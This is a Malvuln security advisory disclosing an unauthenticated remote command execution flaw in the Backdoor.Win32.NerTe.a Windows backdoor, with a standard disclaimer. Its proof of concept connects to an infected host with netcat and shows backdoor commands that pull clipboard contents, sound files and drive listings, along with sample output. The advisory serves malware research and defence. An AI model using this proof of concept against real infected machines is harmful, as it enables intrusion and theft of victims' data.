Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/125364b0cdae80c10f00b75c8e2cfa47_B.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.NerTe.a Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 21, 80 and drops an executable under Windows dir. Third-party attackers who can reach infected systems can connect to port 80 and run commands made available by the backdoor to retrieve information etc Type: PE32 MD5: 125364b0cdae80c10f00b75c8e2cfa47 Vuln ID: MVID-2021-0286 Dropped files: TaskMonitors.exe Disclosure: 07/12/2021 Exploit/PoC: nc64.exe x.x.x.x 80 VERSIJ7.9.0_b2_ntñnoñVictimñDESKTOP-2C4JQHO╢GETSND Get Sounds) GETSNDñññññññññññññññññC:\a\17.wavñC:\a\18.wavñññC:\a\21.wavñC:\a\22.wavññC:\a\23.wavñC:\a\24.wavñññññññC:\a\29.wavñC:\a\30.wavññC:\a\31.wavñC:\a\32.wav╢ Get Clipboard data) GETCLB GETCLB*************** Clipboard **************ñTomorrow West broadway and 29thñ*************** End **************╢ nd **************╢GETRST MSGERRYour client too old. Please update from: http://nerte.free-hosting.lt MSGUnknown command╢GETDRV GETDRVC:\?D:\╢GETCOL Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).